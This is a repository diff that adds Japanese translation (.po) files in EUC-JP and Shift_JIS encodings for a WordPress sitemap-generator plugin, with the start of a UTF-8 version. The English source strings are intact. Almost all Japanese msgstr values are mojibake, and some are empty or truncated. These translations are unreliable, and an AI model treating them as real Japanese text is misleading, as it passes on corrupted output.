+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ja_EUC.po	(revision 44)
@@ -0,0 +1,322 @@
+# Japanese Language File for sitemap (sitemap-ja_JP.UTF-8.po)
+# Copyright (C) 2005 hiromasa : http://hiromasa.zone.ne.jp/
+# This file is distributed under the same license as the WordPress package.
+# hiromasa <webmaster@hiromasa.zone.ne.jp>, 2005.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: sitemap\n"
+"Report-Msgid-Bugs-To: <webmaster@hiromasa.zone.ne.jp>\n"
+"POT-Creation-Date: 2005-06-09 02:00+0900\n"
+"PO-Revision-Date: 2005-07-03 23:17+0900\n"
+"Last-Translator: hiromasa <webmaster@hiromasa.zone.ne.jp>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=EUC-JP\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Language-Team: \n"
+
+#: sitemap.php:375
+msgid "always"
+msgstr "€€€Ä€â"
+
+msgid "hourly"
+msgstr "Ëè»þ"
+
+msgid "daily"
+msgstr "ËèÆü"
+
+msgid "weekly"
+msgstr "Ëèœµ"
+
+msgid "monthly"
+msgstr "Ëè·î"
+
+msgid "yearly"
+msgstr "ËèÇ¯"
+
+msgid "never"
+msgstr "¹¹¿·€µ€ì€Ê€€"
+
+msgid "Detected Path"
+msgstr "¥Ñ¥¹€ÎÄŸÀÜÀßÄê"
+
+msgid "Example"
+msgstr "Îã"
+
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "¥Õ¥¡¥€¥ëÌŸ€òŽÞ€à Sitemap ¥Õ¥¡¥€¥ë€Ø€ÎÁêÂÐ€â€·€¯€ÏÀäÂÐ¥Ñ¥¹"
+
+msgid "Complete URL to the sitemap file, including name."
+msgstr "¥Õ¥¡¥€¥ëÌŸ€òŽÞ€à Sitemap ¥Õ¥¡¥€¥ë€Ø€ÎŽ°ÁŽ€Ê URL"
+
+msgid "Automatic location"
+msgstr "Œ«Æ°ÇÛÃÖ"
+
+msgid "Manual location"
+msgstr "ŒêÆ°ÇÛÃÖ"
+
+msgid "OR"
+msgstr "€â€·€¯€Ï"
+
+msgid "Location of your sitemap file"
+msgstr "Sitemap ¥Õ¥¡¥€¥ë€ÎŸìœê"
+
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "€â€·€¢€Ê€¿€Î¥Ö¥í¥°€¬¥µ¥Ö¥Ç¥£¥ì¥¯¥È¥ê€ËÇÛÃÖ€µ€ì€Æ€€€ëŸì¹ç€Ë¡¢¥Ö¥í¥°¥Ç¥£¥ì¥¯¥È¥ê°Ê³°€Î¥Ú¡Œ¥ž€ò Sitemap €ËŽÞ€á€¿€€€È€­€Ï¡¢Sitemap ¥Õ¥¡¥€¥ë€ò¥ë¡Œ¥È¥Ç¥£¥ì¥¯¥È¥ê€ËÇÛÃÖ€¹€Ù€­€Ç€¹¡£¡Ê€³€Î¥Ú¡Œ¥ž€Î &quot;Sitemap ¥Õ¥¡¥€¥ë€ÎŸìœê&quot; ÀßÄê€ò³ÎÇ§€·€Æ²Œ€µ€€¡Ë"
+
+#: sitemap.php:512
+msgid "Configuration updated"
+msgstr "ÀßÄê€ò¹¹¿·€·€Þ€·€¿¡£"
+
+#: sitemap.php:513
+msgid "Error"
+msgstr "¥š¥é¡Œ€Ç€¹¡£"
+
+#: sitemap.php:521
+msgid "A new page was added. Click on &quot;Save page changes&quot; to save your changes."
+msgstr "¿·€·€€ÄÉ²Ã¥Ú¡Œ¥ž¡Ê€ÎÀßÄêÍó¡Ë€¬²Ã€ï€ê€Þ€·€¿¡£ ¡Ê¥Ú¡Œ¥ž€ÎŸðÊó€òÆþÎÏžå¡Ë&quot;ÊÑ¹¹€ÎÊÝÂž&quot €ò²¡²Œ€·€ÆÀßÄê€òÊÝÂž€·€Æ²Œ€µ€€¡£"
+
+#: sitemap.php:527
+msgid "Pages saved"
+msgstr "ÄÉ²Ã¥Ú¡Œ¥ž€ÎÀßÄê€òÊÝÂž€·€Þ€·€¿¡£"
+
+#: sitemap.php:528
+msgid "Error while saving pages"
+msgstr "ÄÉ²Ã¥Ú¡Œ¥ž€ÎÀßÄê€ÎÊÝÂžÃæ€Ë¥š¥é¡Œ€¬È¯Àž€·€Þ€·€¿¡£"
+
+#: sitemap.php:539
+msgid "The page was deleted. Click on &quot;Save page changes&quot; to save your changes."
+msgstr "»ØÄê€µ€ì€¿ÄÉ²Ã¥Ú¡Œ¥ž¡Ê€ÎÀßÄêÍó¡Ë€òºïœü€·€Þ€·€¿¡£ &quot;ÊÑ¹¹€ÎÊÝÂž&quot €ò²¡²Œ€·€ÆÀßÄê€òÊÝÂž€·€Æ²Œ€µ€€¡£"
+
+#: sitemap.php:542
+msgid "You changes have been cleared."
+msgstr "ÊÑ¹¹€ÏŽû€Ëºïœü€µ€ì€Æ€€€Þ€¹¡£"
+
+#: sitemap.php:555
+msgid "Sitemap Generator"
+msgstr "Sitemap Generator"
+
+#: sitemap.php:558
+msgid "Manual rebuild"
+msgstr "ŒêÆ°€Ë€è€ë Sitemap ¥Õ¥¡¥€¥ë€ÎºÆ¹œÃÛ"
+
+#: sitemap.php:559
+msgid "If you want to build the sitemap without editing a post, click on here!"
+msgstr "€â€·Åê¹Æ€ÎÊÔœž€Ê€·€Ë Sitemap ¥Õ¥¡¥€¥ë€òºÆ¹œÃÛ€·€¿€€Ÿì¹ç€Ï€³€Î¥Ü¥¿¥ó€ò²¡²Œ€·€Æ€¯€À€µ€€!"
+
+#: sitemap.php:560
+msgid "Rebuild Sitemap"
+msgstr "Sitemap €ÎºÆ¹œÃÛ"
+
+#: sitemap.php:564
+msgid "Additional pages"
+msgstr "ÄÉ²Ã¥Ú¡Œ¥ž€ÎÀßÄê"
+
+#: sitemap.php:566
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "€³€³€Ç¡¢Sitemap €ËŽÞ€Þ€ì€ë€Ù€­€Ç€¢€ë URL €ò»ØÄê€¹€ë€³€È€¬€Ç€­€Þ€¹¡£ €·€«€·¡¢€³€³€Ç»ØÄê€¹€ë URL €Ï WordPress/Blog €ËÂ°€·€Æ€Ï€€€±€Þ€»€ó¡£<br />Îã€š€Ð¥É¥á¥€¥ó€¬ www.foo.com €Ç¥Ö¥í¥°€¬ www.foo.com/blog €À€Ã€¿Ÿì¹ç¡¢€¢€Ê€¿€Ï www.foo.com €ò Sitemap €ËŽÞ€ß€¿€€€È»×€Š€«€â€·€ì€Þ€»€ó¡£¡ÊÌõÃí: €³€Î¹àÌÜ€Ç WordPress °Ê³°€Î URL €ò»ØÄê€·¡¢¥×¥é¥°¥€¥ó€ÇœÐÎÏ€¹€ë Sitemap €ËŽÞ€á€ë€³€È€¬€Ç€­€Þ€¹¡Ë"
+
+#: sitemap.php:568
+msgid "URL to the page"
+msgstr "€œ€Î¥Ú¡Œ¥ž€ÎURL"
+
+#: sitemap.php:569
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "€œ€Î¥Ú¡Œ¥ž€ÎURL €òÆþÎÏ€·€Æ²Œ€µ€€¡£ Îã: http://www.foo.com/index.html €ä www.foo.com/home "
+
+#: sitemap.php:571
+msgid "Priority"
+msgstr "Í¥Àèœç°Ì(priority)€ÎÀßÄê"
+
+#: sitemap.php:572
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "ÂŸ€Î¥Ú¡Œ¥ž€ËÈæÎã€·€¿¥Ú¡Œ¥ž€ÎÍ¥Àèœç°Ì(priority)€òÁª€ó€Ç€¯€À€µ€€¡£ Îã€š€Ð¡¢€¢€Ê€¿€Î¥Û¡Œ¥à¥Ú¡Œ¥ž€Ï¡¢ÌÃµ­€Î¥Ú¡Œ¥ž€è€ê¹â€€Í¥ÀèÅÙ€¬€¢€ë€«€â€·€ì€Þ€»€ó¡£"
+
+#: sitemap.php:574
+msgid "Last Changed"
+msgstr "ºÇœª¹¹¿·Æü"
+
+#: sitemap.php:575
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "ºÇœª¹¹¿·Æü€ò YYYY-MM-DD ·ÁŒ°€ÇÆþÎÏ€·€Æ²Œ€µ€€¡£"
+
+#: sitemap.php:583
+msgid "Change Frequency"
+msgstr "¹¹¿·ÉÑÅÙ(changefreq)€ÎÀßÄê"
+
+#: sitemap.php:585
+msgid "#"
+msgstr "#"
+
+#: sitemap.php:609
+msgid "No pages defined."
+msgstr "ÄÉ²Ã¥Ú¡Œ¥ž€ÏÄêµÁ€µ€ì€Æ€€€Þ€»€ó¡£"
+
+#: sitemap.php:616
+msgid "Add new page"
+msgstr "¿·€·€€¥Ú¡Œ¥ž€ÎÄÉ²Ã"
+
+#: sitemap.php:617
+msgid "Save page changes"
+msgstr "ÊÑ¹¹€ÎÊÝÂž"
+
+#: sitemap.php:618
+msgid "Undo all page changes"
+msgstr "¥Ú¡Œ¥ž€ÎÊÑ¹¹€òžµ€ËÌá€¹"
+
+#: sitemap.php:621
+msgid "Delete marked page"
+msgstr "¥Þ¡Œ¥¯€µ€ì€¿¥Ú¡Œ¥ž€Îºïœü"
+
+#: sitemap.php:627
+msgid "Basic Options"
+msgstr "ŽðËÜÅª€ÊÀßÄê"
+
+#: sitemap.php:632
+msgid "Enable automatic priority calculation for posts based on comment count"
+msgstr "Åê¹Æ€ËÂÐ€¹€ë¥³¥á¥ó¥È¿ô€Ç¡¢Åê¹Æ¡Ê³Æ¥š¥ó¥È¥ê¡Ë€ÎÍ¥Àèœç°Ì(priority)€òŒ«Æ°·×»»€¹€ëµ¡Çœ€òÍ­žú€Ë€¹€ë"
+
+#: sitemap.php:638
+msgid "Write debug comments"
+msgstr "¥Ç¥Ð¥Ã¥°ÍÑ¥³¥á¥ó¥ÈœÐÎÏ€ò¹Ô€Š"
+
+#: sitemap.php:643
+msgid "Filename of the sitemap file"
+msgstr "Sitemap €Î¥Õ¥¡¥€¥ëÌŸ"
+
+#: sitemap.php:650
+msgid "Write a normal XML file (your filename)"
+msgstr "Éžœà€Î XML ¥Õ¥¡¥€¥ë€òœÐÎÏ€¹€ë (filename)"
+
+#: sitemap.php:652
+msgid "Detected URL"
+msgstr "Detected URL"
+
+#: sitemap.php:657
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "gz °µœÌ€µ€ì€¿¥Õ¥¡¥€¥ë€òœÐÎÏ€¹€ë (filename + .gz)"
+
+#: sitemap.php:664
+msgid "Auto-Ping Google Sitemaps"
+msgstr "Google Sitemap €Ë¹¹¿· ping €òÁ÷€ë"
+
+#: sitemap.php:665
+msgid "This option will automatically tell Google about changes."
+msgstr "€³€Î¥ª¥×¥·¥ç¥ó€Ï¡¢ÊÑ¹¹€ò Google €ËŒ«Æ°Åª€ËÄÌÃÎ€·€Þ€¹¡£"
+
+#: sitemap.php:672
+msgid "Includings"
+msgstr "Sitemap €ËŽÞ€á€ë ¹àÌÜ€ÎÀßÄê"
+
+#: sitemap.php:677
+msgid "Include homepage"
+msgstr "¥Û¡Œ¥à¥Ú¡Œ¥ž"
+
+#: sitemap.php:683
+msgid "Include posts"
+msgstr "Åê¹Æ¡Ê³Æ¥š¥ó¥È¥ê¡Ë"
+
+#: sitemap.php:689
+msgid "Include static pages"
+msgstr "ÀÅÅª€Ê¥Ú¡Œ¥ž"
+
+#: sitemap.php:695
+msgid "Include categories"
+msgstr "¥«¥Æ¥Ž¥êÊÌ"
+
+#: sitemap.php:701
+msgid "Include archives"
+msgstr "¥¢¡Œ¥«¥€¥ÖÊÌ"
+
+#: sitemap.php:708
+msgid "Change frequencies"
+msgstr "¹¹¿·ÉÑÅÙ(changefreq)€ÎÀßÄê"
+
+#: sitemap.php:709
+msgid "Note"
+msgstr "¥á¥â"
+
+#: sitemap.php:710
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "€³€Î¥¿¥°€ÎÃÍ€ÏÌ¿Îá€Ç€Ï€Ê€¯¥Ò¥ó¥È€À€È¹Í€š€é€ì€Þ€¹¡£¥µ¡Œ¥Á¥š¥ó¥ž¥ó€Î¥¯¥í¡Œ¥é€Ï€³€ÎÀßÄê€ò¹ÍÎž€ËÆþ€ì€Þ€¹€¬¡¢\"1»þŽÖ€ª€­\" €ÎÀßÄê€Ë€·€Æ€â€œ€ÎÉÑÅÙ€Ç¥¯¥í¡Œ¥ë€·€Ê€€€«€â€·€ì€Ê€€€·¡¢\"Ç¯°ìÅÙ€Î\" ÀßÄê€Ë€·€Æ€â€œ€ì€è€êÉÑÈË€Ë¥¯¥í¡Œ¥ë€µ€ì€ë€«€â€·€ì€Þ€»€ó¡£€Þ€¿ \"¹¹¿·€µ€ì€Ê€€\" €ËÀßÄê€µ€ì€¿¥Ú¡Œ¥ž€â¡¢»×€€€¬€±€Ê€€ÊÑ²œ€ò€³€ì€é€Î¥Ú¡Œ¥ž€«€éÆÀ€ë€¿€á€Ë¡¢€ª€œ€é€¯¥¯¥í¡Œ¥é€ÏÄêŽüÅª€Ë¥¯¥í¡Œ¥ë€¹€ë€Ç€·€ç€Š¡£"
+
+#: sitemap.php:715
+msgid "Homepage"
+msgstr "¥Û¡Œ¥à¥Ú¡Œ¥ž"
+
+#: sitemap.php:721
+msgid "Posts"
+msgstr "Åê¹Æ¡Ê³Æ¥š¥ó¥È¥ê¡Ë"
+
+#: sitemap.php:727
+msgid "Static pages"
+msgstr "ÀÅÅª€Ê¥Ú¡Œ¥ž"
+
+#: sitemap.php:733
+msgid "Categories"
+msgstr "¥«¥Æ¥Ž¥êÊÌ"
+
+#: sitemap.php:739
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "Åö·î€Î¥¢¡Œ¥«¥€¥Ö (\"¥Û¡Œ¥à¥Ú¡Œ¥ž\" €ÎÀßÄê€ÈÆ±€ž€Ë€¹€Ù€­€Ç€¹)"
+
+#: sitemap.php:745
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "žÅ€€¥¢¡Œ¥«¥€¥Ö (žÅ€€Åê¹Æ€òÊÔœž€·€¿€È€­€À€±ÊÑ¹¹€·€Æ€¯€À€µ€€)"
+
+#: sitemap.php:752
+msgid "Priorities"
+msgstr "Í¥Àèœç°Ì(priority)€ÎÀßÄê"
+
+#: sitemap.php:763
+msgid "Posts (If auto calculation is disabled)"
+msgstr "Åê¹Æ¡Ê³Æ¥š¥ó¥È¥ê¡Ë (\"ŽðËÜÅª€ÊÀßÄê\"€ÇŒ«Æ°·×»»€ËÀßÄê€·€Æ€€€Ê€€Ÿì¹ç€ËÍ­žú)"
+
+#: sitemap.php:769
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "Åê¹Æ¡Ê³Æ¥š¥ó¥È¥ê¡Ë€ÎºÇŸ®ÃÍ (\"ŽðËÜÅª€ÊÀßÄê\"€ÇŒ«Æ°·×»»€ËÀßÄê€·€Æ€€€ëŸì¹ç€ËÍ­žú)"
+
+#: sitemap.php:787
+msgid "Archives"
+msgstr "¥¢¡Œ¥«¥€¥ÖÊÌ"
+
+#: sitemap.php:793
+msgid "Informations and support"
+msgstr "ŸðÊó€È¥µ¥Ý¡Œ¥È"
+
+#: sitemap.php:794
+msgid "Check %s for updates and comment there if you have any problems / questions / suggestions."
+msgstr "€â€·¡¢ÌäÂê€äµ¿Ìä¡¢Äó°Æ€¬€¢€ì€Ð %s €Î¥¢¥Ã¥×¥Ç¡Œ¥ÈŸðÊó€ä¥³¥á¥ó¥È€ò³ÎÇ§€·€Æ²Œ€µ€€¡£"
+
+#: sitemap.php:797
+msgid "Update options"
+msgstr "ÀßÄê€ò¹¹¿· &raquo;"
+
+#: sitemap.php:1033
+msgid "URL:"
+msgstr "URL:"
+
+#: sitemap.php:1034
+msgid "Path:"
+msgstr "Path:"
+
+#: sitemap.php:1037
+msgid "Could not write into %s"
+msgstr "%s €Ëœñ€­¹þ€à€³€È€¬€Ç€­€Þ€»€ó¡£"
+
+#: sitemap.php:1048
+msgid "Successfully built sitemap file:"
+msgstr "¹œÃÛ€ËÀ®žù€·€¿ Sitemap ¥Õ¥¡¥€¥ë:"
+
+#: sitemap.php:1048
+msgid "Successfully built gzipped sitemap file:"
+msgstr "¹œÃÛ€ËÀ®žù€·€¿ gz °µœÌ€µ€ì€¿ Sitemap ¥Õ¥¡¥€¥ë:"
+
+#: sitemap.php:1062
+msgid "Could not ping to Google at %s"
+msgstr "Google €Ø€Î¹¹¿· ping €ÎÁ÷¿®€¬€Ç€­€Þ€»€ó€Ç€·€¿¡£ %s"
+
+#: sitemap.php:1064
+msgid "Successfully pinged Google at %s"
+msgstr "Google €Ø€Î¹¹¿· ping €ÎÁ÷¿®€¬À®žù€·€Þ€·€¿¡£ %s"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ja_SJIS.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ja_SJIS.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ja_SJIS.po	(revision 44)
@@ -0,0 +1,322 @@
+# Japanese Language File for sitemap (sitemap-ja_JP.UTF-8.po)
+# Copyright (C) 2005 hiromasa : http://hiromasa.zone.ne.jp/
+# This file is distributed under the same license as the WordPress package.
+# hiromasa <webmaster@hiromasa.zone.ne.jp>, 2005.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: sitemap\n"
+"Report-Msgid-Bugs-To: <webmaster@hiromasa.zone.ne.jp>\n"
+"POT-Creation-Date: 2005-06-09 02:00+0900\n"
+"PO-Revision-Date: 2005-07-03 23:17+0900\n"
+"Last-Translator: hiromasa <webmaster@hiromasa.zone.ne.jp>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=Shift_JIS\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Language-Team: \n"
+
+#: sitemap.php:375
+msgid "always"
+msgstr "¢Âà"
+
+msgid "hourly"
+msgstr ""
+
+msgid "daily"
+msgstr "ú"
+
+msgid "weekly"
+msgstr "T"
+
+msgid "monthly"
+msgstr ""
+
+msgid "yearly"
+msgstr "N"
+
+msgid "never"
+msgstr "XV³êÈ¢"
+
+msgid "Detected Path"
+msgstr "pXÌŒÚÝè"
+
+msgid "Example"
+msgstr "á"
+
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "t@CŒðÜÞ Sitemap t@CÖÌÎàµ­ÍâÎpX"
+
+msgid "Complete URL to the sitemap file, including name."
+msgstr "t@CŒðÜÞ Sitemap t@CÖÌ®SÈ URL"
+
+msgid "Automatic location"
+msgstr "©®zu"
+
+msgid "Manual location"
+msgstr "è®zu"
+
+msgid "OR"
+msgstr "àµ­Í"
+
+msgid "Location of your sitemap file"
+msgstr "Sitemap t@CÌê"
+
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "àµ ÈœÌuOªTufBNgÉzu³êÄ¢éêÉAuOfBNgÈOÌy[Wð Sitemap ÉÜßœ¢Æ«ÍASitemap t@Cð[gfBNgÉzu·×«Å·Bi±Ìy[WÌ &quot;Sitemap t@CÌê&quot; ÝèðmFµÄº³¢j"
+
+#: sitemap.php:512
+msgid "Configuration updated"
+msgstr "ÝèðXVµÜµœB"
+
+#: sitemap.php:513
+msgid "Error"
+msgstr "G[Å·B"
+
+#: sitemap.php:521
+msgid "A new page was added. Click on &quot;Save page changes&quot; to save your changes."
+msgstr "Vµ¢ÇÁy[WiÌÝèjªÁíèÜµœB iy[WÌîñðüÍãj&quot;ÏXÌÛ¶&quot ðºµÄÝèðÛ¶µÄº³¢B"
+
+#: sitemap.php:527
+msgid "Pages saved"
+msgstr "ÇÁy[WÌÝèðÛ¶µÜµœB"
+
+#: sitemap.php:528
+msgid "Error while saving pages"
+msgstr "ÇÁy[WÌÝèÌÛ¶ÉG[ª­¶µÜµœB"
+
+#: sitemap.php:539
+msgid "The page was deleted. Click on &quot;Save page changes&quot; to save your changes."
+msgstr "wè³êœÇÁy[WiÌÝèjðíµÜµœB &quot;ÏXÌÛ¶&quot ðºµÄÝèðÛ¶µÄº³¢B"
+
+#: sitemap.php:542
+msgid "You changes have been cleared."
+msgstr "ÏXÍùÉí³êÄ¢Ü·B"
+
+#: sitemap.php:555
+msgid "Sitemap Generator"
+msgstr "Sitemap Generator"
+
+#: sitemap.php:558
+msgid "Manual rebuild"
+msgstr "è®Éæé Sitemap t@CÌÄ\z"
+
+#: sitemap.php:559
+msgid "If you want to build the sitemap without editing a post, click on here!"
+msgstr "àµeÌÒWÈµÉ Sitemap t@CðÄ\zµœ¢êÍ±Ì{^ðºµÄ­Ÿ³¢!"
+
+#: sitemap.php:560
+msgid "Rebuild Sitemap"
+msgstr "Sitemap ÌÄ\z"
+
+#: sitemap.php:564
+msgid "Additional pages"
+msgstr "ÇÁy[WÌÝè"
+
+#: sitemap.php:566
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "±±ÅASitemap ÉÜÜêé×«Å é URL ðwè·é±ÆªÅ«Ü·B µ©µA±±Åwè·é URL Í WordPress/Blog É®µÄÍ¢¯Ü¹ñB<br />áŠÎhCª www.foo.com ÅuOª www.foo.com/blog ŸÁœêA ÈœÍ www.foo.com ð Sitemap ÉÜÝœ¢Æv€©àµêÜ¹ñBió: ±ÌÚÅ WordPress ÈOÌ URL ðwèµAvOCÅoÍ·é Sitemap ÉÜßé±ÆªÅ«Ü·j"
+
+#: sitemap.php:568
+msgid "URL to the page"
+msgstr "»Ìy[WÌURL"
+
+#: sitemap.php:569
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "»Ìy[WÌURL ðüÍµÄº³¢B á: http://www.foo.com/index.html â www.foo.com/home "
+
+#: sitemap.php:571
+msgid "Priority"
+msgstr "DæÊ(priority)ÌÝè"
+
+#: sitemap.php:572
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "ŒÌy[WÉäáµœy[WÌDæÊ(priority)ðIñÅ­Ÿ³¢B áŠÎA ÈœÌz[y[WÍAÁLÌy[Wæè¢Dæxª é©àµêÜ¹ñB"
+
+#: sitemap.php:574
+msgid "Last Changed"
+msgstr "ÅIXVú"
+
+#: sitemap.php:575
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "ÅIXVúð YYYY-MM-DD `®ÅüÍµÄº³¢B"
+
+#: sitemap.php:583
+msgid "Change Frequency"
+msgstr "XVpx(changefreq)ÌÝè"
+
+#: sitemap.php:585
+msgid "#"
+msgstr "#"
+
+#: sitemap.php:609
+msgid "No pages defined."
+msgstr "ÇÁy[WÍè`³êÄ¢Ü¹ñB"
+
+#: sitemap.php:616
+msgid "Add new page"
+msgstr "Vµ¢y[WÌÇÁ"
+
+#: sitemap.php:617
+msgid "Save page changes"
+msgstr "ÏXÌÛ¶"
+
+#: sitemap.php:618
+msgid "Undo all page changes"
+msgstr "y[WÌÏXð³Éß·"
+
+#: sitemap.php:621
+msgid "Delete marked page"
+msgstr "}[N³êœy[WÌí"
+
+#: sitemap.php:627
+msgid "Basic Options"
+msgstr "î{IÈÝè"
+
+#: sitemap.php:632
+msgid "Enable automatic priority calculation for posts based on comment count"
+msgstr "eÉÎ·éRgÅAeieGgjÌDæÊ(priority)ð©®vZ·é@\ðLøÉ·é"
+
+#: sitemap.php:638
+msgid "Write debug comments"
+msgstr "fobOpRgoÍðs€"
+
+#: sitemap.php:643
+msgid "Filename of the sitemap file"
+msgstr "Sitemap Ìt@CŒ"
+
+#: sitemap.php:650
+msgid "Write a normal XML file (your filename)"
+msgstr "WÌ XML t@CðoÍ·é (filename)"
+
+#: sitemap.php:652
+msgid "Detected URL"
+msgstr "Detected URL"
+
+#: sitemap.php:657
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "gz ³k³êœt@CðoÍ·é (filename + .gz)"
+
+#: sitemap.php:664
+msgid "Auto-Ping Google Sitemaps"
+msgstr "Google Sitemap ÉXV ping ðé"
+
+#: sitemap.php:665
+msgid "This option will automatically tell Google about changes."
+msgstr "±ÌIvVÍAÏXð Google É©®IÉÊmµÜ·B"
+
+#: sitemap.php:672
+msgid "Includings"
+msgstr "Sitemap ÉÜßé ÚÌÝè"
+
+#: sitemap.php:677
+msgid "Include homepage"
+msgstr "z[y[W"
+
+#: sitemap.php:683
+msgid "Include posts"
+msgstr "eieGgj"
+
+#: sitemap.php:689
+msgid "Include static pages"
+msgstr "ÃIÈy[W"
+
+#: sitemap.php:695
+msgid "Include categories"
+msgstr "JeSÊ"
+
+#: sitemap.php:701
+msgid "Include archives"
+msgstr "A[JCuÊ"
+
+#: sitemap.php:708
+msgid "Change frequencies"
+msgstr "XVpx(changefreq)ÌÝè"
+
+#: sitemap.php:709
+msgid "Note"
+msgstr ""
+
+#: sitemap.php:710
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "±Ì^OÌlÍœßÅÍÈ­qgŸÆlŠçêÜ·BT[`GWÌN[Í±ÌÝèðl¶ÉüêÜ·ªA\"1Ôš«\" ÌÝèÉµÄà»ÌpxÅN[µÈ¢©àµêÈ¢µA\"NêxÌ\" ÝèÉµÄà»êæèpÉÉN[³êé©àµêÜ¹ñBÜœ \"XV³êÈ¢\" ÉÝè³êœy[WàAv¢ª¯È¢Ï»ð±êçÌy[W©çŸéœßÉAš»ç­N[ÍèúIÉN[·éÅµå€B"
+
+#: sitemap.php:715
+msgid "Homepage"
+msgstr "z[y[W"
+
+#: sitemap.php:721
+msgid "Posts"
+msgstr "eieGgj"
+
+#: sitemap.php:727
+msgid "Static pages"
+msgstr "ÃIÈy[W"
+
+#: sitemap.php:733
+msgid "Categories"
+msgstr "JeSÊ"
+
+#: sitemap.php:739
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "ÌA[JCu (\"z[y[W\" ÌÝèÆ¯¶É·×«Å·)"
+
+#: sitemap.php:745
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "Ã¢A[JCu (Ã¢eðÒWµœÆ«Ÿ¯ÏXµÄ­Ÿ³¢)"
+
+#: sitemap.php:752
+msgid "Priorities"
+msgstr "DæÊ(priority)ÌÝè"
+
+#: sitemap.php:763
+msgid "Posts (If auto calculation is disabled)"
+msgstr "eieGgj (\"î{IÈÝè\"Å©®vZÉÝèµÄ¢È¢êÉLø)"
+
+#: sitemap.php:769
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "eieGgjÌÅ¬l (\"î{IÈÝè\"Å©®vZÉÝèµÄ¢éêÉLø)"
+
+#: sitemap.php:787
+msgid "Archives"
+msgstr "A[JCuÊ"
+
+#: sitemap.php:793
+msgid "Informations and support"
+msgstr "îñÆT|[g"
+
+#: sitemap.php:794
+msgid "Check %s for updates and comment there if you have any problems / questions / suggestions."
+msgstr "àµAâèâ^âAñÄª êÎ %s ÌAbvf[gîñâRgðmFµÄº³¢B"
+
+#: sitemap.php:797
+msgid "Update options"
+msgstr "ÝèðXV &raquo;"
+
+#: sitemap.php:1033
+msgid "URL:"
+msgstr "URL:"
+
+#: sitemap.php:1034
+msgid "Path:"
+msgstr "Path:"
+
+#: sitemap.php:1037
+msgid "Could not write into %s"
+msgstr "%s É«Þ±ÆªÅ«Ü¹ñB"
+
+#: sitemap.php:1048
+msgid "Successfully built sitemap file:"
+msgstr "\zÉ¬÷µœ Sitemap t@C:"
+
+#: sitemap.php:1048
+msgid "Successfully built gzipped sitemap file:"
+msgstr "\zÉ¬÷µœ gz ³k³êœ Sitemap t@C:"
+
+#: sitemap.php:1062
+msgid "Could not ping to Google at %s"
+msgstr "Google ÖÌXV ping ÌMªÅ«Ü¹ñÅµœB %s"
+
+#: sitemap.php:1064
+msgid "Successfully pinged Google at %s"
+msgstr "Google ÖÌXV ping ÌMª¬÷µÜµœB %s"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ja_UTF.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ja_UTF.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ja_UTF.po	(revision 44)
@@ -0,0 +1,343 @@
+# Japanese Language File for sitemap (sitemap-ja_JP.UTF-8.po)
+# Copyright (C) 2005 hiromasa : http://hiromasa.zone.ne.jp/
+# This file is distributed under the same license as the WordPress package.
+# hiromasa <webmaster@hiromasa.zone.ne.jp>, 2005.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: sitemap\n"
+"Report-Msgid-Bugs-To: <webmaster@hiromasa.zone.ne.jp>\n"
+"POT-Creation-Date: 2005-06-09 02:00+0900\n"
